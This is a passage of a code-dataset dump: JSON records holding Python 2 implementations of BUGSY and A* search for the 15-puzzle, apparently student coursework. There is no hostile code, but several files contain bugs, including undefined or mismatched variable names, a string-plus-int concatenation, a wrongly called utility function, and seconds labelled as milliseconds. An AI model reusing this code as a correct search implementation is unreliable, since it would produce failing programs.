I want to return first goal found\r\n @param w_f: weight on estimated cost of solution\r\n @param w_t: weight on estimated time to reach solution from current expansion\r\n \r\n @returns: path from initial state to a goal state as a list of\r\n (action, state) tuples and a list of path costs from start to\r\n each state in the path\r\n \"\"\"\r\n \r\n ########### HELPER METHODS #############\r\n def getH(state):\r\n if not state in hVals:\r\n hv = heuristic(state)\r\n hVals[state] = hv\r\n return hVals[state]\r\n \r\n def getUtil(node, delay, t_exp, w_f, w_t):\r\n \"\"\"\r\n calculate the utility of a state based on estimated cost and time to obtain solution\r\n \r\n @param node: a SearchNode\r\n @param delay: estimated delay expansions for each of the remaining steps from current node\r\n @param t_exp: estimated time to expand a node, in seconds\r\n @param w_f: weight on the cost function\r\n @param w_t: weight on the time to obtain solution\r\n \r\n @returns: floating point utility of a node\r\n \"\"\"\r\n return w_f*(node.cost + node.heuristicCost) + w_t*(node.heuristicCost * delay * t_exp)\r\n\r\n def updateEstimates(delay, t_exp, agenda, w_f, w_t):\r\n \"\"\"\r\n @param delay: most recent global delay estimate\r\n @param t_exp: most recent global t_exp estimate\r\n @param agenda: agenda to be re-sorted based on most recent estimates, assumes agenda has elements of the form (utility, count, SearchNode)\r\n @param w_f: weight on cost function\r\n @param w_t: weight on time to obtain solution\r\n \r\n @returns: newly heapified agenda\r\n \"\"\"\r\n newAgenda = []\r\n for item in agenda:\r\n heappush(newAgenda, (getUtil(item[2], delay, t_exp, w_f, w_t), item[1], item[2]))\r\n return newAgenda\r\n def newDelay(delayList, current_count, node_count):\r\n \"\"\"\r\n @param delayList: list of past delay estimates\r\n @param current_count: count of the expansions completed\r\n @param node_count: count of expansions at generation of agenda item\r\n \r\n @returns: a new global average delay estimate to be added to list\r\n \"\"\"\r\n n_d = len(delayList) + 1.\r\n new_delay = (1/n_d) * (current_count - node_count) + (n_d-1)/n_d * delayList[-1]\r\n return new_delay\r\n def newT_exp(t_exp_list, t_exp):\r\n \"\"\"\r\n @param t_exp_list: list of past t_exp estimates\r\n @param t_exp: new estimate to average\r\n \r\n @returns: a new global average t_exp estimate to be added to list\r\n \"\"\"\r\n n_t = len(t_exp_list) + 1.\r\n new_t_exp = (1/n_t) * t_exp + (n_t-1)/n_t * t_exp_list[-1]\r\n return new_t_exp\r\n def searchFinished(n, somewhatVerbose, verbose, count):\r\n \"\"\"\r\n things we do when goal state is expanded\r\n \r\n @param n: current node\r\n @somewhatVerbose: how much printing\r\n @verbose: more conditionals on printing\r\n @param count: steps of expansion taken\r\n \r\n @returns: \r\n \"\"\"\r\n if somewhatVerbose or verbose:\r\n print 'Found goal state', n.state\r\n if somewhatVerbose or verbose or printFinal:\r\n print count, 'nodes visited;', \\\r\n countExpanded, 'states expanded;', \\\r\n 'solution cost:', n.cost\r\n if getH(n.state) > 0:\r\n debugMsg('heuristic', 'positive value at goal state',\r\n n.state, getH(n.state))\r\n return None \r\n ########### End Helper Methods ############\r\n \r\n \r\n ########### BUGSY INITIALIZATION #############\r\n delayList = []\r\n t_expList = []\r\n global_delay = 0\r\n global_t_exp = 0\r\n epsilon_0 = 10**(-12)\r\n somewhatVerbose = verbose\r\n verbose = False\r\n hVals = {}\r\n startNode = SearchNode(None, initialState, None, 0,\r\n getH(initialState))\r\n if goalTest(initialState):\r\n return startNode.path(), [0]\r\n if startNode.heuristicCost >= hmax:\r\n trAlways('Root has infinite heuristic value', pause = True)\r\n return None, None \r\n agenda = []\r\n count = 1\r\n countExpanded = 0\r\n heappush(agenda, (0, count, startNode)) #agenda objects have cost = utility, count = nodes visited, node class\r\n expanded = set([]) #set of states, different than agenda objects\r\n ############ End Initialization #############\r\n \r\n ############## BUGSY SEARCH #################\r\n while not agenda == [] and maxNodes > count:\r\n ### 0. BUGSY ESTIMATES UPDATE: on powers of 2, update agenda with current estimates\r\n if (abs(math.log(count, 2)-math.floor(math.log(count, 2))) < epsilon_0 or \\\r\n abs(math.log(count, 2)-math.ceil(math.log(count, 2))) < epsilon_0) and \\\r\n count > 1:\r\n global_delay = delayList[-1]\r\n global_t_exp = t_expList[-1]\r\n agenda = updateEstimates(global_delay, global_t_exp, agenda, w_f, w_t)\r\n if verbose:\r\n print 'updated delay: ', global_delay, ', updated t_exp: ', global_t_exp \r\n \r\n ### 1. PREPARE TO EXPAND: pop off of heap, test if goal, and check legal actions/maxCost. print a bunch of things\r\n if verbose:\r\n print \"agenda: \", agenda\r\n (util, n_count, n) = heappop(agenda)\r\n start_expansion_time = time.clock()\r\n if count > 1: delayList.append(newDelay(delayList, count, n_count))\r\n if n.state in expanded: #should this ever happen?\r\n if prevExpandF: prevExpandF(n)\r\n if verbose:\r\n print \"previously expanded: \", n.cost, n.state\r\n raw_input('okay?')\r\n continue\r\n expanded.add(n.state)\r\n countExpanded += 1\r\n if checkExpandF: # check legality on demand\r\n n = checkExpandF(n) # possibly modify the node or set to None\r\n if n is None: continue \r\n if expandF: expandF(n)\r\n if verbose: print \"expanding node: \", n.cost, n.state\r\n if goalTest(n.state):\r\n searchFinished(n, somewhatVerbose, Verbose, count)\r\n return n.path(), n.costs()\r\n if n.cost > maxCost:\r\n if True: #somewhatVerbose or verbose:\r\n print \"Search failed: exceeded max cost \", n.cost\r\n return None, None\r\n if getH(n.state)== 0:\r\n debugMsg('heuristic', 'zero value at non-goal state', n.state)\r\n applicableActions = actions(n.state)\r\n if len(applicableActions) == 0 and verbose:\r\n raw_input('no children')\r\n if somewhatVerbose or verbose:\r\n print \" \", n.cost, \": expanding: \", n\r\n print \" \", len(applicableActions), 'actions'\r\n if countExpanded % 10000 == 0:\r\n print 'cost', n.cost, 'nodes', count\r\n successors = set() \r\n \r\n ### 2. EXPAND BY EXPLORING ACTIONS: add children to agenda\r\n for a in applicableActions:\r\n succ = successor(n.state, a)\r\n if not succ: continue\r\n if not multipleSuccessors:\r\n succ = [succ]\r\n if verbose: print ' ', len(succ), 'successors'\r\n for (newS, cost) in succ:\r\n if newS in successors: continue\r\n else: successors.add(newS)\r\n if verbose or somewhatVerbose:\r\n print ' ', cost, newS\r\n hValue = getH(newS)\r\n if newS in expanded:\r\n if prevExpandF and visitF:\r\n newN = SearchNode(a, newS, n, cost, hValue)\r\n visitF(n.state, n.cost, n.heuristicCost, a,\r\n newS, newN.cost, hValue)\r\n prevExpandF(newN)\r\n if maxHDelta and n.heuristicCost - hValue > maxHDelta:\r\n print 'current h =', n.heuristicCost, 'new h =', hValue\r\n raw_input('H delta exceeded')\r\n if verbose:\r\n print \"previously expanded: \", \\\r\n newN.cost, newN.state\r\n raw_input('okay?')\r\n else:\r\n count += 1\r\n tr('h', hValue)\r\n if hValue >= hmax: continue\r\n newN = SearchNode(a, newS, n, cost, hValue)\r\n if visitF: visitF(n.state, n.cost, n.heuristicCost, \r\n a, newS, newN.cost, hValue)\r\n if maxHDelta and n.heuristicCost - hValue > maxHDelta:\r\n print 'current h =', n.heuristicCost, \\\r\n 'new h =', hValue\r\n raw_input('H delta exceeded')\r\n if returnFirstGoal and goalTest(newS):\r\n return newN.path(), newN.costs()\r\n util = getUtil(newN, global_delay, global_t_exp, w_f, w_t)\r\n heappush(agenda,\r\n (util, count, newN))\r\n #done expanding, add new time of expansion estimate \r\n t_exp_list.append(newT_exp(t_exp_list, time.clock() - start_expansion_time))\r\n ### 3. EXPANSIONS TERMINATED: the BUGSY search failed to return a solution \r\n if somewhatVerbose or verbose or count >= maxNodes:\r\n print \"Search failed after visiting \", count, \" states.\"\r\n if postFailScan:\r\n while not agenda == []:\r\n (util, _, n) = heappop(agenda)\r\n if n.state in expanded: continue\r\n if checkExpandF: # check legality on demand\r\n n = checkExpandF(n) # possibly modify the node or set to None\r\n if n is None: continue\r\n if goalTest(n.state):\r\n if expandF: expandF(n) # Treat like an expansion\r\n print 'Found goal on agenda, returning it'\r\n return n.path(), n.costs()\r\n return None, None", "id": "10247085", "language": "Python", "matching_score": 0.9520664215087891, "max_stars_count": 0, "path": "bugsy_4.py" }, { "content": "#Problem Set \r\n#Name: <NAME>\r\n#Collaborators: none\r\n#Time Spent: 0:\r\n\r\n\r\n#for leslie kaelbling bling bling\r\n#Michael and Andy\r\n\r\n#Weight of time and solution cost\r\nimport time\r\nimport heapq\r\nfrom math import log\r\nimport sys\r\nimport random\r\n\r\nclass Puzzle:\r\n \"\"\"\r\n A 15-puzzle instance which takes input startin_state as a well-formed typle of 16 entries\r\n method next_states returns successors, goal_state is proper termination state\r\n \"\"\"\r\n def __init__(self, starting_state):\r\n self.goal_state=(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0)\r\n #State '0' represents the empty slot in the puzzle\r\n self.initial_state=starting_state\r\n\r\n def next_states(self, current_state):\r\n i = current_state.index(0)\r\n #Returns the position of the empty(0) slot\r\n validswaps = []\r\n v1 = i-4\r\n #Moving up\r\n v2 = i+4\r\n #Moving down\r\n v3 = i - 1\r\n #Moving left\r\n v4 = i + 1\r\n #Moving right\r\n\r\n if v1 >= 0:\r\n #Prevents you from going past top left corner\r\n validswaps.append(v1)\r\n if v2 <= 15:\r\n #Prevents you from going past bottom left corner\r\n validswaps.append(v2)\r\n if v3 % 4 < i % 4:\r\n #Prevents you from going past left side\r\n '''\r\n WORKING CASE:\r\n 15(i) mod 4 returns 3\r\n 14(v3) mod 4 returns 2\r\n So if the empty space is in position 15\r\n This would be a valid swap\r\n\r\n FAILURE CASE:\r\n 12(i) mod 4 returns 0\r\n 11(v2) mod 4 returns 1\r\n So if the empty space is in position 12\r\n This would not be a valid swap\r\n (Same case for 8,4,0)\r\n '''\r\n validswaps.append(v3)\r\n\r\n if v4 % 4 > i % 4:\r\n '''\r\n WORKING CASE:\r\n 10(i) mod 4 returns 2\r\n 11(v4) mod 4 returns 3\r\n So if the empty space is in position 10\r\n This would be a valid swap\r\n\r\n FAILURE CASE:\r\n 1. 11(i) mod 4 returns 3\r\n 12(v4) mod 4 returns 0\r\n So if the empty space is in position 11\r\n This would not be a valid swap\r\n (Same case for 3,7)\r\n '''\r\n validswaps.append(v4)\r\n next_states = []\r\n for v in validswaps:\r\n '''\r\n Swaps the empty space from the old position\r\n to the new position\r\n\r\n Will add each state from valid swaps to a list\r\n And return that list\r\n '''\r\n old = list(current_state)\r\n new = list(current_state)\r\n new[i] = old[v]\r\n new[v] = old[i]\r\n next_states.append(tuple(new))\r\n return next_states\r\n\r\n#make a*\r\n\r\ndef a_star(puzzle, steps):\r\n \r\n index_state = 1\r\n index_parent_path = 2\r\n index_cost = 0\r\n index_birth_time = 3\r\n \r\n percent = 0\r\n\r\n closed = []\r\n initial_distance = sys.maxint\r\n frontier = [(sys.maxint, puzzle.initial_state,[])]\r\n #States are composed of (cost, state, parent path)\r\n \r\n #goal state dictionary allows for quick lookup for Manhattan Dist Calc\r\n goal_state_dictionary = convert_to_tuples(puzzle.goal_state)\r\n \r\n stopnow = 0\r\n \r\n goal_dictionary = convert_to_tuples(puzzle.goal_state)\r\n \r\n while len(frontier) > 0 and stopnow < steps:\r\n \r\n #pop off element and check if goal. mark state as visited\r\n current = heapq.heappop(frontier)\r\n if puzzle.goal_state == current[index_state]:\r\n current[index_parent_path].append(current[index_state])\r\n return current[index_parent_path]\r\n closed.append(current)\r\n \r\n #expand state using Manhattan Distance heuristic\r\n for state in puzzle.next_states(current[index_state]):\r\n changed_frontier = False\r\n parent_path = current[index_parent_path][:]\r\n parent_path.append(current[index_state])\r\n cost = len(parent_path) + 3* man_dist(state, goal_dictionary) \r\n child = (cost, state, parent_path)\r\n for state in frontier:\r\n if child[index_state] == state[index_state]:\r\n frontier = update_best_state_frontier(child, frontier, index_state, index_cost)\r\n changed_frontier = True \r\n break\r\n if child[index_state] in closed:\r\n pass\r\n elif not(changed_frontier):\r\n heapq.heappush(frontier, child)\r\n\r\n if stopnow / float(steps) * 100 > percent:\r\n print str(percent) + ' percent complete'\r\n percent += 1\r\n stopnow+=1\r\n \r\n return_msg = 'search terminated due to timeout, length of frontier is: ' + str(len(frontier))\r\n return return_msg\r\n \r\ndef bugsy(puzzle, steps):\r\n\r\n \"\"\"\r\n BUGSY(initial, U())\r\n\r\n Utility = U_default - min(over children) { wf*cost + wt*time }\r\n -U_default is utility of returning empty solution\r\n -cost is length of parent path + manhattan distance\r\n -time is distance to end from current (manhattan) * delay * t_exp\r\n where delay is number of extra expansions estimated in between useful progress\r\n and t_exp is typical time to expand each node\r\n -->these parameters can be updated in realtime or they may be calculated beforehand (training)\r\n \r\n U* = -(wf*cost + wt*nodes_on_s*t_exp)\r\n u* = U* or U*-wt*t_exp\r\n -->t_exp is time to perform expansion of node\r\n \r\n estimating Max Util:\r\n 1. estimate cost of solution find beneath each node as f\r\n 2. estimates number expansions required to find a solution beneath each node n, exp(n) -- can be dist heuristic d\r\n 3. exp(n) = delay * d(n) since delay expansions expected on each of d's steps\r\n \r\n Bugsy can stop and return empty or expand a node. Each node in frontier is possible outcome, so max util based on open nodes:\r\n U_hat = max{ max(n in frontier){ -wf*f(n)+wt*d(n)*delay*t_exp }, U(empty,0)}\r\n \r\n once uhat is found, substitute for U* to estimate u*\r\n -->note that only expanding one node, so no need to estimate u* for all frontier nodes\r\n -->note that computing maximization each time is unnecessary since simply ordering on u(n) is sufficient\r\n \r\n UTILITY DETAILS:\r\n\r\n \"\"\"\r\n\r\n index_state = 1\r\n index_parent_path = 2\r\n index_cost = 0\r\n index_birth_time = 3\r\n \r\n DELAY = 1\r\n T_EXP = 1 \r\n w_f = 1\r\n w_t = 1\r\n \r\n percent = 0\r\n\r\n closed = []\r\n initial_util = sys.maxint\r\n frontier = [(initial_util, puzzle.initial_state,[])]\r\n #States are composed of (utility, state, parent path)\r\n \r\n #goal state dictionary allows for quick lookup for Manhattan Dist Calc\r\n goal_state_dictionary = convert_to_tuples(puzzle.goal_state)\r\n \r\n stopnow = 0\r\n \r\n while len(frontier) > 0 and stopnow < steps:\r\n \r\n #pop off MIN element and check if goal. mark state as visited\r\n current = heapq.heappop(frontier)\r\n if puzzle.goal_state == current[index_state]:\r\n current[index_parent_path].append(current[index_state])\r\n return current[index_parent_path]\r\n closed.append(current[index_state])\r\n \r\n #expand state using Manhattan Distance heuristic\r\n for state in puzzle.next_states(current[index_state]):\r\n changed_frontier = False\r\n parent_path = current[index_parent_path][:]\r\n parent_path.append(current[index_state])\r\n util = calculate_utility(len(parent_path), state, goal_state_dictionary, w_f, w_t, DELAY, T_EXP)\r\n child = (util, state, parent_path)\r\n for state in frontier:\r\n if child[index_state] == state[index_state]:\r\n frontier = update_best_state_frontier(child, frontier, index_state, index_cost)\r\n changed_frontier = True \r\n break\r\n if child[index_state] in closed:\r\n pass\r\n elif not(changed_frontier):\r\n heapq.heappush(frontier, child)\r\n \r\n if stopnow / (steps/100.) > percent:\r\n print str(percent) + ' percent complete'\r\n percent += 1\r\n stopnow+=1\r\n \r\n return_msg = 'search terminated due to timeout, length of frontier is: ' + len(frontier)\r\n return return_msg\r\n\r\ndef convert_to_tuples(state):\r\n output = {}\r\n for i in range(1, len(state)+1):\r\n x = (i-1) % 4\r\n w = int((i-1) / 4)\r\n output[state[i-1]] = (x, w)\r\n return output\r\n\r\ndef calculate_utility(parent_path_length, state, goal_state_dictionary, w_f, w_t, delay, t_exp):\r\n d = man_dist(state,goal_state_dictionary) \r\n util = w_f * (parent_path_length + d) + w_t * d * delay * t_exp\r\n return util\r\n\r\n\r\ndef man_dist(puzzle_state, goal_state_dict):\r\n dict_puzzle = convert_to_tuples(puzzle_state)\r\n d = 0\r\n for i in xrange(1, len(goal_state_dict)):\r\n dx = abs(dict_puzzle[i][0] - goal_state_dict[i][0])\r\n dw = abs(dict_puzzle[i][1] - goal_state_dict[i][1])\r\n d += (dx + dw)\r\n return d\r\n\r\ndef find_uhat(frontier, count, u, delay, t_exp, w_t, w_f, g, Uhat):\r\n if type(log(count, 2)) is int:\r\n new_frontier = []\r\n u_new = Uhat\r\n for node in frontier:\r\n util = u(delay, t_exp, w_t, w_f, g, node)\r\n new_frontier.append((util, node[1], node[2], node[3]))\r\n u_new = max(u_new, util)\r\n return (heapq.heapify(new_frontier), u_new)\r\n else:\r\n return (frontier, Uhat)\r\n\r\ndef shuffle(n):\r\n puzzle_initial = Puzzle((1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0))\r\n out_state = puzzle_initial.goal_state\r\n rand_ind = 0\r\n for i in xrange(n):\r\n next_states = puzzle_initial.next_states(out_state)\r\n rand_ind = int(random.random()*len(next_states))\r\n out_state = next_states[rand_ind]\r\n return out_state\r\n\r\ndef update_best_state_frontier(state,frontier, index_state, index_cost):\r\n for i in range(len(frontier)):\r\n if frontier[i][index_state] == state[index_state]:\r\n if frontier[i][index_cost] > state[index_cost]:\r\n frontier[i] = state\r\n return frontier\r\n\r\n#test cases\r\ntimes = []\r\n\r\n#it works!!! .555 for A*, 0 for bugsy (3, 7, 0, 4, 1, 6, 2, 8, 5, 10, 13, 12, 9, 14, 11, 15)\r\n#(2, 6, 9, 4, 5, 10, 3, 0, 1, 14, 7, 8, 13, 15, 12, 11) A* times out, bugsy finds in .05 ms\r\n\r\n#test case 1\r\nstart_state = (2, 6, 9, 4, 5, 10, 3, 0, 1, 14, 7, 8, 13, 15, 12, 11) #shuffle(60)\r\n# with time diff 0.546999931335\r\nnew_puz = Puzzle(start_state)\r\ngoal_state_dict = convert_to_tuples(new_puz.goal_state)\r\n\r\n#do A*\r\nstart_time = time.time()\r\nprint a_star(new_puz, 10000)\r\nend_time = time.time()\r\nprint 'A* takes: ' + str(end_time - start_time) + ' ms.'\r\n\r\n#bugsy\r\nstart_time = time.time()\r\nprint bugsy(new_puz, 10000)\r\nend_time = time.time()\r\nprint 'bugsy takes: ' + str(end_time - start_time) + ' ms.'\r\n\r\n#should test if child in closed and has better util now?\r\n", "id": "89542", "language": "Python", "matching_score": 8.063064575195312, "max_stars_count": 0, "path": "bugsy_2_mod_astar.py" }, { "content": "#Problem Set \r\n#Name: <NAME>\r\n#Collaborators: none\r\n#Time Spent: 0:\r\n\r\n\r\n#for leslie kaelbling bling bling\r\n#Michael and Andy\r\n\r\n#Weight of time and solution cost\r\nimport time\r\nimport heapq\r\nfrom math import log\r\nimport sys\r\nimport random\r\n\r\nclass Puzzle:\r\n \"\"\"\r\n A 15-puzzle instance which takes input startin_state as a well-formed typle of 16 entries\r\n method next_states returns successors, goal_state is proper termination state\r\n \"\"\"\r\n def __init__(self, starting_state):\r\n self.goal_state=(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0)\r\n #State '0' represents the empty slot in the puzzle\r\n self.initial_state=starting_state\r\n\r\n def next_states(self, current_state):\r\n i = current_state.index(0)\r\n #Returns the position of the empty(0) slot\r\n validswaps = []\r\n v1 = i-4\r\n #Moving up\r\n v2 = i+4\r\n #Moving down\r\n v3 = i - 1\r\n #Moving left\r\n v4 = i + 1\r\n #Moving right\r\n\r\n if v1 >= 0:\r\n #Prevents you from going past top left corner\r\n validswaps.append(v1)\r\n if v2 <= 15:\r\n #Prevents you from going past bottom left corner\r\n validswaps.append(v2)\r\n if v3 % 4 < i % 4:\r\n #Prevents you from going past left side\r\n '''\r\n WORKING CASE:\r\n 15(i) mod 4 returns 3\r\n 14(v3) mod 4 returns 2\r\n So if the empty space is in position 15\r\n This would be a valid swap\r\n\r\n FAILURE CASE:\r\n 12(i) mod 4 returns 0\r\n 11(v2) mod 4 returns 1\r\n So if the empty space is in position 12\r\n This would not be a valid swap\r\n (Same case for 8,4,0)\r\n '''\r\n validswaps.append(v3)\r\n\r\n if v4 % 4 > i % 4:\r\n '''\r\n WORKING CASE:\r\n 10(i) mod 4 returns 2\r\n 11(v4) mod 4 returns 3\r\n So if the empty space is in position 10\r\n This would be a valid swap\r\n\r\n FAILURE CASE:\r\n 1. 11(i) mod 4 returns 3\r\n 12(v4) mod 4 returns 0\r\n So if the empty space is in position 11\r\n This would not be a valid swap\r\n (Same case for 3,7)\r\n '''\r\n validswaps.append(v4)\r\n next_states = []\r\n for v in validswaps:\r\n '''\r\n Swaps the empty space from the old position\r\n to the new position\r\n\r\n Will add each state from valid swaps to a list\r\n And return that list\r\n '''\r\n old = list(current_state)\r\n new = list(current_state)\r\n new[i] = old[v]\r\n new[v] = old[i]\r\n next_states.append(tuple(new))\r\n return next_states\r\n\r\n#make a*\r\n\r\ndef a_star(puzzle, steps):\r\n\r\n index_state = 1\r\n index_parent_path = 2\r\n index_cost = 0\r\n index_birth_time = 3\r\n \r\n percent = 0\r\n\r\n closed = []\r\n initial_distance = -sys.maxint\r\n frontier = [(-sys.maxint, puzzle.initial_state,[])]\r\n #States are composed of (cost, state, parent path)\r\n \r\n #goal state dictionary allows for quick lookup for Manhattan Dist Calc\r\n goal_state_dictionary = convert_to_tuples(puzzle.goal_state)\r\n \r\n stopnow = 0\r\n \r\n goal_dictionary = convert_to_tuples(puzzle.goal_state)\r\n \r\n while len(frontier) > 0 and stopnow < steps:\r\n \r\n #pop off element and check if goal. mark state as visited\r\n current = heapq.heappop(frontier)\r\n if puzzle.goal_state == current[index_state]:\r\n current[index_parent_path].append(current[index_state])\r\n return current[index_parent_path]\r\n closed.append(current)\r\n \r\n #expand state using Manhattan Distance heuristic\r\n for state in puzzle.next_states(current[index_state]):\r\n parent_path = current[index_parent_path][:]\r\n parent_path.append(current[index_state])\r\n cost = len(parent_path) + man_dist(state, goal_dictionary) \r\n child = (cost, state, parent_path)\r\n if child in closed or child in frontier:\r\n print 'child explored'\r\n else:\r\n heapq.heappush(frontier, child)\r\n if stopnow / (steps/100.) > percent:\r\n print str(percent) + ' percent complete'\r\n percent += 1\r\n stopnow+=1\r\n return 'search terminated due to timeout'\r\n\r\ndef convert_to_tuples(state):\r\n output = {}\r\n for i in range(1, len(state)+1):\r\n x = (i-1) % 4\r\n w = int((i-1) / 4)\r\n output[state[i-1]] = (x, w)\r\n return output\r\n\r\ndef u(delay, t_exp, w_t, w_f, g, node, goal_state_dictionary):\r\n '''\r\n utility = something here ****\r\n Involving w_t and w_f\r\n\r\n ^\r\n U = max { max( n in frontier) - (w_f * f(n) + w_t * d(n) * delay * t_exp)}\r\n ^\r\n You expand the node that produces the U value above\r\n\r\n d(n) = Manhattan distance\r\n f(n) = g*(n) + d(n)\r\n\r\n Calculate d:\r\n -Loop and use the difference between the index of each number\r\n -in current state and the index of those same numbers in goal state\r\n '''\r\n utility = -1 * (w_f * g(node) + w_t * man_dist(node ,goal_state_dictionary) * delay * t_exp)\r\n return utility\r\n\r\ndef g(node):\r\n return len(node)\r\n\r\ndef man_dist(puzzle_state, goal_state_dict):\r\n dict_puzzle = convert_to_tuples(puzzle_state)\r\n d = 0\r\n for i in xrange(1, len(goal_state_dict)):\r\n dx = abs(dict_puzzle[i][0] - goal_state_dict[i][0])\r\n dw = abs(dict_puzzle[i][1] - goal_state_dict[i][1])\r\n d += (dx + dw)\r\n return d\r\n\r\ndef find_uhat(frontier, count, u, delay, t_exp, w_t, w_f, g, Uhat):\r\n if type(log(count, 2)) is int:\r\n new_frontier = []\r\n u_new = Uhat\r\n for node in frontier:\r\n util = u(delay, t_exp, w_t, w_f, g, node)\r\n new_frontier.append((util, node[1], node[2], node[3]))\r\n u_new = max(u_new, util)\r\n return (heapq.heapify(new_frontier), u_new)\r\n else:\r\n return (frontier, Uhat)\r\n\r\ndef shuffle(n):\r\n puzzle_initial = Puzzle((1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0))\r\n out_state = puzzle_initial.goal_state\r\n rand_ind = 0\r\n for i in xrange(n):\r\n next_states = puzzle_initial.next_states(out_state)\r\n rand_ind = int(random.random()*len(next_states))\r\n out_state = next_states[rand_ind]\r\n return out_state\r\n\r\n#test cases\r\ntimes = []\r\nw_t = 9\r\nw_f = 9\r\n\r\n#test case 1\r\nstart_state = shuffle(60)\r\nprint start_state\r\nnew_puz = Puzzle(start_state)\r\ngoal_state_dict = convert_to_tuples(new_puz.goal_state)\r\nstart_time = time.time()\r\nprint a_star(new_puz, 10**6)\r\n\r\n\r\n", "id": "2958487", "language": "Python", "matching_score": 5.751337051391602, "max_stars_count": 0, "path": "a_star.py" }, { "content": "#<NAME> Andy\r\n\r\n#Weight of time and solution cost\r\nimport time\r\nimport heapq\r\nfrom math import log\r\nimport sys\r\n\r\nclass Puzzle:\r\n \"\"\"\r\n A 15-puzzle instance which takes input startin_state as a well-formed typle of 16 entries\r\n method next_states returns successors, goal_state is proper termination state\r\n \"\"\"\r\n def __init__(self, starting_state):\r\n self.goal_state=(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0)\r\n #State '0' represents the empty slot in the puzzle\r\n self.initial_state=starting_state\r\n\r\n def next_states(self, current_state):\r\n i = current_state.index(0)\r\n #Returns the position of the empty(0) slot\r\n validswaps = []\r\n v1 = i-4\r\n #Moving up\r\n v2 = i+4\r\n #Moving down\r\n v3 = i - 1\r\n #Moving left\r\n v4 = i + 1\r\n #Moving right\r\n\r\n if v1 >= 0:\r\n #Prevents you from going past top left corner\r\n validswaps.append(v1)\r\n if v2 <= 15:\r\n #Prevents you from going past bottom left corner\r\n validswaps.append(v2)\r\n if v3 % 4 < i % 4:\r\n #Prevents you from going past left side\r\n '''\r\n WORKING CASE:\r\n 15(i) mod 4 returns 3\r\n 14(v3) mod 4 returns 2\r\n So if the empty space is in position 15\r\n This would be a valid swap\r\n\r\n FAILURE CASE:\r\n 12(i) mod 4 returns 0\r\n 11(v2) mod 4 returns 1\r\n So if the empty space is in position 12\r\n This would not be a valid swap\r\n (Same case for 8,4,0)\r\n '''\r\n validswaps.append(v3)\r\n\r\n if v4 % 4 > i % 4:\r\n '''\r\n WORKING CASE:\r\n 10(i) mod 4 returns 2\r\n 11(v4) mod 4 returns 3\r\n So if the empty space is in position 10\r\n This would be a valid swap\r\n\r\n FAILURE CASE:\r\n 1. 11(i) mod 4 returns 3\r\n 12(v4) mod 4 returns 0\r\n So if the empty space is in position 11\r\n This would not be a valid swap\r\n (Same case for 3,7)\r\n '''\r\n validswaps.append(v4)\r\n next_states = []\r\n for v in validswaps:\r\n '''\r\n Swaps the empty space from the old position\r\n to the new position\r\n\r\n Will add each state from valid swaps to a list\r\n And return that list\r\n '''\r\n old = list(current_state)\r\n new = list(current_state)\r\n new[i] = old[v]\r\n new[v] = old[i]\r\n next_states.append(tuple(new))\r\n return next_states\r\n\r\n#make bugsy happen\r\n\r\ndef bugsy(puzzle, u, g, w_t, w_f):\r\n '''\r\n Search function based on utility, a linear combination of estimated time to find goal and cost of path\r\n inputs 15-Puzzle instance, utility function, cost function g*, utility weights\r\n outputs a maximum utility path if one exists, else returns false\r\n '''\r\n start_time = time.time()\r\n closed = []\r\n Uhat = -sys.maxint\r\n frontier = [(Uhat, puzzle.initial_state, [], start_time)]\r\n #States are composed of (utility, current state - tuple, parent path - list, t_instantiated)\r\n\r\n expansion_count = 0\r\n delay = 0\r\n total_delay_time = 0\r\n total_exp_time = 0\r\n t_exp = 0\r\n \r\n #goal state dictionary allows for quick lookup for Manhattan Dist Calc\r\n goal_state_dictionary = convert_to_tuples(puzzle.goal_state)\r\n \r\n stopnow = 0\r\n \r\n while len(frontier) > 0 and stopnow < 300:\r\n current = heapq.heappop(frontier)\r\n if puzzle.goal_state == current[1]:\r\n return current[2]\r\n closed.append(current)\r\n if not expansion_count == 0:\r\n delay += total_delay_time / expansion_count\r\n #calc exp time\r\n t_exp_1 = time.time()\r\n for state in puzzle.next_states(current[1]):\r\n parent_path = current[2][:]\r\n parent_path.append(current[1])\r\n util = u(delay, t_exp, w_t, w_f, g, state, goal_state_dictionary)\r\n child = (util, state, parent_path, time.time())\r\n if child[1] is puzzle.goal_state:\r\n heapq.heappush(frontier,child)\r\n elif child in closed or child in frontier:\r\n print 'child explored'\r\n elif util < Uhat:\r\n print 'util too small (' + str(util)+')'\r\n else:\r\n expansion_count += 1\r\n heapq.heappush(frontier, child)\r\n total_exp_time+=time.time()-t_exp_1\r\n t_exp = total_exp_time/expansion_count\r\n frontier, Uhat = find_uhat(frontier, expansion_count, u, delay, t_exp, w_t, w_f, g, Uhat)\r\n stopnow+=1\r\n return False\r\n\r\ndef convert_to_tuples(state):\r\n output = {}\r\n for i in range(1, len(state)+1):\r\n x = (i-1) % 4\r\n w = int((i-1) / 4)\r\n output[state[i-1]] = (x, w)\r\n return output\r\n\r\ndef u(delay, t_exp, w_t, w_f, g, node, goal_state_dictionary):\r\n '''\r\n utility = something here ****\r\n Involving w_t and w_f\r\n\r\n ^\r\n U = max { max( n in frontier) - (w_f * f(n) + w_t * d(n) * delay * t_exp)}\r\n ^\r\n You expand the node that produces the U value above\r\n\r\n d(n) = Manhattan distance\r\n f(n) = g*(n) + d(n)\r\n\r\n Calculate d:\r\n -Loop and use the difference between the index of each number\r\n -in current state and the index of those same numbers in goal state\r\n '''\r\n utility = -1 * (w_f * g(node) + w_t * man_dist(node ,goal_state_dictionary) * delay * t_exp)\r\n return utility\r\n\r\ndef g(node):\r\n return len(node)\r\n\r\ndef man_dist(puzzle_state, goal_state_dict):\r\n dict_puzzle = convert_to_tuples(puzzle_state)\r\n d = 0\r\n for i in xrange(1, len(goal_state_dict)):\r\n dx = abs(dict_puzzle[i][0] - goal_state_dict[i][0])\r\n dw = abs(dict_puzzle[i][1] - goal_state_dict[i][1])\r\n d += (dx + dw)\r\n return d\r\n\r\ndef find_uhat(frontier, count, u, delay, t_exp, w_t, w_f, g, Uhat):\r\n if type(log(count, 2)) is int:\r\n new_frontier = []\r\n u_new = Uhat\r\n for node in frontier:\r\n util = u(delay, t_exp, w_t, w_f, g, node)\r\n new_frontier.append((util, node[1], node[2], 